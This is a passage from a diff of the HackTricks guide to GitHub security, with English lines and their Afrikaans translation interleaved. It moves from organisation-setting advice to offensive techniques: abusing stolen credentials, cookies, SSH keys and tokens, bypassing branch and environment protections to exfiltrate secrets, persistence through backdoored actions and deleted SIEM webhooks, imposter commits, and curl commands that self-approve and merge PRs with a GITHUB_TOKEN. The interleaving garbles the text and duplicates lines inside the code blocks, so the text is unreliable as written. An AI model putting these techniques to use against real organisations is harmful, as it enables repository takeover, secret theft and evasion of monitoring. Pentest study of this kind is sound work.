- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
- **Basiese toestemmings**: Lede sal die toestemming None/Lees/schrijf/Admin oor die org repositories hê. Dit word aanbeveel om **None** of **Lees** te hê.
|
||||
- **Repository fork**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede organisasie repositories fork nie.
|
||||
- **Bladsy skepping**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede bladsye van die org repos publiseer nie. As dit nodig is, kan jy toelaat om publieke of private bladsye te skep.
|
||||
- **Integrasie toegang versoeke**: Met hierdie geaktiveer sal buite medewerkers toegang kan versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer.
|
||||
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
|
||||
- **Repository sigbaarheid verandering**: As geaktiveer, sal **lede** met **admin** toestemmings vir die **repository** in staat wees om **sy sigbaarheid te verander**. As gedeaktiveer, kan slegs organisasie eienaars repository sigbaarhede verander. As jy **nie** wil hê mense moet dinge **publiek** maak nie, maak seker dit is **gedeaktiveer**.
|
||||
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
|
||||
- **Repository verwydering en oordrag**: As geaktiveer, sal lede met **admin** toestemmings vir die repository in staat wees om **te verwyder** of **te oordra** publieke en private **repositories.**
|
||||
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
|
||||
- **Laat lede toe om span te skep**: As geaktiveer, sal enige **lid** van die organisasie in staat wees om **nuwe** **spanne** te **skep**. As gedeaktiveer, kan slegs organisasie eienaars nuwe spanne skep. Dit is beter om dit gedeaktiveer te hê.
|
||||
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
|
||||
- **Meer dinge kan geconfigureer word** op hierdie bladsy, maar die vorige is diegene wat meer sekuriteit gerelateerd is.
|
||||
|
||||
### Actions Settings
|
||||
### Aksies Instellings
|
||||
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
Verskeie sekuriteit gerelateerde instellings kan geconfigureer word vir aksies vanaf die bladsy `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
> Let daarop dat al hierdie konfigurasies ook op elke repository onafhanklik gestel kan word
|
||||
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om te loop nie.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull versoek workflows van buite medewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite medewerkers te vereis.
|
||||
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
|
||||
- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgerade om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik.
|
||||
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
|
||||
- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings te gee**. Dit word afgerade om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
### Integrasies
|
||||
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
_Laat weet my as jy die API eindpunt ken om hierdie inligting te bekom!_
|
||||
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
- **Derdeparty toepassing toegang beleid**: Dit word aanbeveel om die toegang tot elke toepassing te beperk en slegs die nodige te laat (na hersiening).
|
||||
- **Gemonteerde GitHub Apps**: Dit word aanbeveel om slegs die nodige te laat (na hersiening).
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
## Recon & Aanvalle wat kredensiale misbruik
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening verkry het.
|
||||
|
||||
### With User Credentials
|
||||
### Met Gebruiker Kredensiale
|
||||
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het, kan jy **net aanmeld** en kyk watter **onderneming en organisasie rolle jy het**, as jy 'n gewone lid is, kyk watter **toestemmings gewone lede het**, in watter **groepe** jy is, watter **toestemmings jy het** oor watter **repos,** en **hoe die repos beskerm word.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Let daarop dat **2FA dalk gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Let daarop dat as jy **slaag om die `user_session` koekie te steel** (huidiglik geconfigureer met SameSite: Lax) jy kan **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig.
|
||||
|
||||
Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
|
||||
Kyk die afdeling hieronder oor [**tak beskerming omseilings**](./#branch-protection-bypass) in geval dit nuttig is.
|
||||
|
||||
### With User SSH Key
|
||||
### Met Gebruiker SSH Sleutel
|
||||
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode gebruik sal word om kode** namens hulle te ontplooi (geen 2FA word toegepas nie).
|
||||
|
||||
Met hierdie sleutel kan jy **veranderinge in repositories waar die gebruiker sekere voorregte het, uitvoer**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy in sy rekening ingestel het** in _https://github.com/\<github_username>.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
|
||||
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**SSH sleutels** kan ook in repositories as **deploy sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### GPG Sleutels
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Soos verduidelik [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) is dit soms nodig om die verbintenisse te teken of jy mag ontdek word.
|
||||
|
||||
Kontroleer plaaslik of die huidige gebruiker enige sleutel het met:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Met Gebruikerstoken
|
||||
|
||||
### With User Token
|
||||
Vir 'n inleiding oor [**Gebruikerstokens kyk na die basiese inligting**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
'n Gebruikerstoken kan gebruik word **in plaas van 'n wagwoord** vir Git oor HTTPS, of kan gebruik word om [**te autentiseer by die API oor Basiese Autentisering**](https://docs.github.com/v3/auth/#basic-authentication). Afhangende van die voorregte wat daaraan gekoppel is, mag jy in staat wees om verskillende aksies uit te voer.
|
||||
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
'n Gebruikerstoken lyk soos volg: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
### Met Oauth Toepassing
|
||||
|
||||
### With Oauth Application
|
||||
Vir 'n inleiding oor [**Github Oauth Toepassings kyk na die basiese inligting**](basic-github-information.md#oauth-applications).
|
||||
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishingveldtog aanvaar.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Hierdie is die [skoppe wat 'n Oauth toepassing kan versoek](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Gebruiker moet altyd die versoekte skoppe nagaan voordat dit aanvaar word.
|
||||
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/ontneem** tot inligting/repos/aksies wat met die organisasie verband hou.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
### Met Github Toepassing
|
||||
|
||||
### With Github Application
|
||||
Vir 'n inleiding oor [**Github Toepassings kyk na die basiese inligting**](basic-github-information.md#github-applications).
|
||||
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
'n Aanvaller mag 'n **kwaadwillige Github Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishingveldtog aanvaar.
|
||||
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/ontneem** tot inligting/repos/aksies wat met die organisasie verband hou.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
## Kompromie & Misbruik Github Aksie
|
||||
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
Daar is verskeie tegnieke om 'n Github Aksie te kompromitteer en te misbruik, kyk hulle hier:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Branch Protection Bypass
|
||||
## Takbeskerming Omseiling
|
||||
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk net jou PR's van ander rekeninge aanvaar. As jy net die rekening het waaruit jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Aksie** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou PR **goedkeur** en op hierdie manier 1 goedkeuring kry.
|
||||
- _Let wel vir hierdie en vir die Kode-eienaars beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy dit kan, kan jy dit misbruik om jou PR's te aanvaar._
|
||||
- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**: As dit nie ingestel is nie, kan jy wettige kode indien, wag totdat iemand dit goedkeur, en kwaadwillige kode plaas en dit in die beskermde tak saamvoeg.
|
||||
- **Vereis hersienings van Kode-eienaars**: As dit geaktiveer is en jy is 'n Kode-eienaar, kan jy 'n **Github Aksie laat jou PR skep en dit dan self goedkeur**.
|
||||
- Wanneer 'n **CODEOWNER-lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Kode-eienaars beskerming nie van toepassing nie.**
|
||||
- **Laat gespesifiseerde akteurs om takverlangings te omseil**: As jy een van hierdie akteurs is, kan jy takverlangings omseil.
|
||||
- **Sluit administrateurs in**: As dit nie ingestel is nie en jy is 'n admin van die repo, kan jy hierdie takbeskermings omseil.
|
||||
- **PR Hijacking**: Jy mag in staat wees om **die PR van iemand anders te wysig** deur kwaadwillige kode by te voeg, die resulterende PR self goed te keur en alles saam te voeg.
|
||||
- **Verwyder Takbeskermings**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel.
|
||||
- **Omseiling van drukbeskermings**: As 'n repo **slegs sekere gebruikers toelaat** om druk (kode saam te voeg) in takke te stuur (die takbeskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer).
|
||||
- As jy **skryftoegang oor die repo het, maar jy mag nie kode druk nie** weens die takbeskerming, kan jy steeds **'n nuwe tak skep** en binne dit 'n **github aksie skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **takbeskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode druk na die tak die **github aksie** uitvoer.
|
||||
|
||||
## Bypass Environments Protections
|
||||
## Omseiling van Omgewingsbeskermings
|
||||
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
Vir 'n inleiding oor [**Github Omgewing kyk na die basiese inligting**](basic-github-information.md#git-environments).
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
In die geval dat 'n omgewing **van al die takke toegang kan verkry**, is dit **nie beskerm nie** en jy kan maklik toegang verkry tot die geheime binne die omgewing. Let daarop dat jy repos mag vind waar **al die takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan druk** en jy kan die geheime **uitvoer** deur 'n nuwe github aksie te skep (of een te wysig).
|
||||
|
||||
Let daarop dat jy die randgeval mag vind waar **al die takke beskerm is** (deur wildcard `*`) en dit is gespesifiseer **wie kode na die takke kan druk** (_jy kan dit in die takbeskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github aksie uitvoer omdat jy 'n tak kan skep en die druktrigger oor homself kan gebruik. Die **takbeskerming laat die druk na 'n nuwe tak toe, so die github aksie sal geaktiveer word**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Let wel dat **na die skepping** van die tak die **takbeskerming op die nuwe tak sal van toepassing wees** en jy dit nie sal kan wysig nie, maar teen daardie tyd sal jy reeds die geheime afgelaai het.
|
||||
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
## Volharding
|
||||
|
||||
## Persistence
|
||||
- Genereer **gebruikertoken**
|
||||
- Steel **github tokens** van **geheime**
|
||||
- **Verwydering** van werkvloei **resultate** en **takke**
|
||||
- Gee **meer regte aan die hele organisasie**
|
||||
- Skep **webhooks** om inligting te eksfiltreer
|
||||
- Nooi **buitelandse samewerkers**
|
||||
- **Verwyder** **webhooks** wat deur die **SIEM** gebruik word
|
||||
- Skep/wysig **Github Action** met 'n **terugdeur**
|
||||
- Vind **kwulnerbare Github Action vir opdraginjekie** deur **geheime** waarde wysiging
|
||||
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
### Imposter Commits - Terugdeur via repo commits
|
||||
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
In Github is dit moontlik om **'n PR na 'n repo van 'n fork te skep**. Selfs al word die PR **nie aanvaar nie**, sal 'n **commit** id binne die oorspronklike repo geskep word vir die fork weergawe van die kode. Daarom **kan 'n aanvaller 'n spesifieke commit van 'n blykbaar legitieme repo wat nie deur die eienaar van die repo geskep is nie, vaspen**.
|
||||
|
||||
Soos [**dit**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
Vir meer inligting, kyk na [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,384 +1,366 @@
|
||||
# Abusing Github Actions
|
||||
# Misbruik van Github Actions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
In this page you will find:
|
||||
In hierdie bladsy sal jy vind:
|
||||
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
- 'n **opsomming van al die impakte** van 'n aanvaller wat daarin slaag om toegang tot 'n Github Action te verkry
|
||||
- Verskillende maniere om **toegang tot 'n aksie** te verkry:
|
||||
- Om **toestemmings** te hê om die aksie te skep
|
||||
- Misbruik van **pull request** verwante triggers
|
||||
- Misbruik van **ander eksterne toegang** tegnieke
|
||||
- **Pivoting** vanaf 'n reeds gecompromitteerde repo
|
||||
- Laastens, 'n afdeling oor **post-exploitatie tegnieke om 'n aksie van binne te misbruik** (om die genoem impakte te veroorsaak)
|
||||
|
||||
## Impacts Summary
|
||||
## Impakte Opsomming
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
Vir 'n inleiding oor [**Github Actions kyk na die basiese inligting**](../basic-github-information.md#github-actions).
|
||||
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
As jy **arbitraire kode in GitHub Actions** binne 'n **repository** kan **uitvoer**, mag jy in staat wees om:
|
||||
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
- **Geheime** wat aan die pyplyn gekoppel is te **steel** en die **privileges van die pyplyn** te misbruik om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry.
|
||||
- **Ontplooiings** en ander **artefakte** te **kompromitteer**.
|
||||
- As die pyplyn bates ontplooi of stoor, kan jy die finale produk verander, wat 'n voorsieningskettingaanval moontlik maak.
|
||||
- **Kode in pasgemaakte werkers** uit te voer om rekenaarkrag te misbruik en na ander stelsels te pivot.
|
||||
- **Repository kode te oorskryf**, afhangende van die toestemmings wat met die `GITHUB_TOKEN` geassosieer is.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
Hierdie "**geheim**" (kom van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Hierdie token is dieselfde een wat 'n **Github Toepassing sal gebruik**, sodat dit toegang tot dieselfde eindpunte kan hê: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
> Github moet 'n [**vloei**](https://github.com/github/roadmap/issues/74) vrystel wat **kruis-repository** toegang binne GitHub toelaat, sodat 'n repo ander interne repos met die `GITHUB_TOKEN` kan benader.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Jy kan die moontlike **toestemmings** van hierdie token sien in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Let daarop dat die token **verval nadat die werk voltooi is**.\
|
||||
Hierdie tokens lyk soos volg: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
Sommige interessante dinge wat jy met hierdie token kan doen:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
|
||||
```bash
|
||||
# Merge PR
|
||||
curl -X PUT \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Approve PR" }}
|
||||
|
||||
{{#tab name="Goedkeur PR" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
|
||||
{{#tab name="Skep PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
